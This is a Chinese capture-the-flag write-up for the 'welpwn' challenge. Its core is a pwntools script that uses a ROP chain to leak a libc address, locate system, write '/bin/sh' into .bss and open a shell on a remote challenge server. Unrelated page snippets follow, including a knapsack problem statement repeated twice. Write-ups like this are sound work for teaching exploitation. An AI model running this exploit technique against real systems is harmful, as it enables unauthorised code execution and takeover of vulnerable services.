參考鏈結
這個題只是沒有想到 找到這個點
然後 攻防世界 給的 so庫也有問題 感覺 攻防世界的so環境都是 2.23的鴨
然後我就沒有用dynelf 其實 可以在伺服器看一下 位址 然後根據 後三位來判斷是那個 只不過沒有 dynelf 方便
思路就是 構造乙個 rop 就那麼簡單
from pwn import *
#io=process("./welpwn")
io=remote("111.198.29.45","53830")
elf=elf("./welpwn")
libc=elf("./libc_2.23.so")
#got_write = elf.got['write']
got_read = elf.got['read']
main_addr = 0x4007cd
pop_rdi_ret = 0x4008a3# pop rdi ret
pop4_r12_ret = 0x40089c# pop r12 r13 r14 r15
pop6_rbx_ret = 0x40089a# pop rbx rbp r12 r13 r14 r15
s1 = 0x4008c9
call_r12_rbx_8 = 0x400889#call [r12+rbx*8]
mov_rdx_rsi_edi_call = 0x400880
#mov rdx, r13 mov rsi, r14 mov di, r15d call qword ptr [r12+rbx*8]
if __name__ =="__main__":
io.recvuntil("welcome to rctf\n")
got_write = elf.got['write']
payload=0x18*"a" + p64(pop4_r12_ret)
payload+=p64(pop6_rbx_ret)+ p64(0x0) + p64(0x1) + p64(got_write)
payload+=p64(8) + p64(got_write) + p64(1) + p64(mov_rdx_rsi_edi_call)
payload+='a'*56
payload+=p64(main_addr)
io.sendline(payload)
write_addr=u64(io.recv(8))
print hex(write_addr)
libc_base_addr=write_addr-libc.sym['write']
print hex(libc_base_addr)
system_addr=libc_base_addr+libc.sym['system']
bbs_addr = 0x601260
payload2 = "a"*0x18 + p64(pop4_r12_ret)
payload2 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(got_read) + p64(0x11) + p64(bbs_addr) + p64(0) + p64(mov_rdx_rsi_edi_call)
payload2 += 56*"\x00"
payload2 += p64(main_addr)
io.sendline(payload2)
io.sendline("/bin/sh\0"+ p64(system_addr))
payload3 = "a"*0x18 + p64(pop4_r12_ret)
payload3 += p64(pop6_rbx_ret) + p64(0x0) + p64(0x1) + p64(bbs_addr+8) + p64(0) + p64(0) + p64(bbs_addr) + p64(mov_rdx_rsi_edi_call)
payload3 += 56*"\x00"
payload3 += p64(main_addr)
io.sendline(payload3)
io.interactive()
然後成功get到flag
物件導向部分 201
小夥伴們,還在為不知道怎麼下手而頭疼嗎,我們程式競賽協會來幫你們啦 啦啦啦。另外,如果有對程式設計含有濃厚興趣的同學,我們隨時歡迎你們的加入喲 策劃 譚兆飛 程式設計 管懷文 協助 一號人員要求給她打碼 乾脆二號也打碼好了o o 其實只是提供了題目啦 物件導向部分 201 include inclu...
2 01揹包問題
有 nn 件物品和乙個容量是 vv 的揹包。每件物品只能使用一次。第 ii 件物品的體積是 vivi,價值是 wiwi。求解將哪些物品裝入揹包,可使這些物品的總體積不超過揹包容量,且總價值最大。輸出最大價值。輸入格式 第一行兩個整數,n,vn,v,用空格隔開,分別表示物品數量和揹包容積。接下來有 n...
2 01揹包問題
有 nn 件物品和乙個容量是 vv 的揹包。每件物品只能使用一次。第 ii 件物品的體積是 vivi,價值是 wiwi。求解將哪些物品裝入揹包,可使這些物品的總體積不超過揹包容量,且總價值最大。輸出最大價值。第一行兩個整數,n,vn,v,用空格隔開,分別表示物品數量和揹包容積。接下來有 nn 行,每...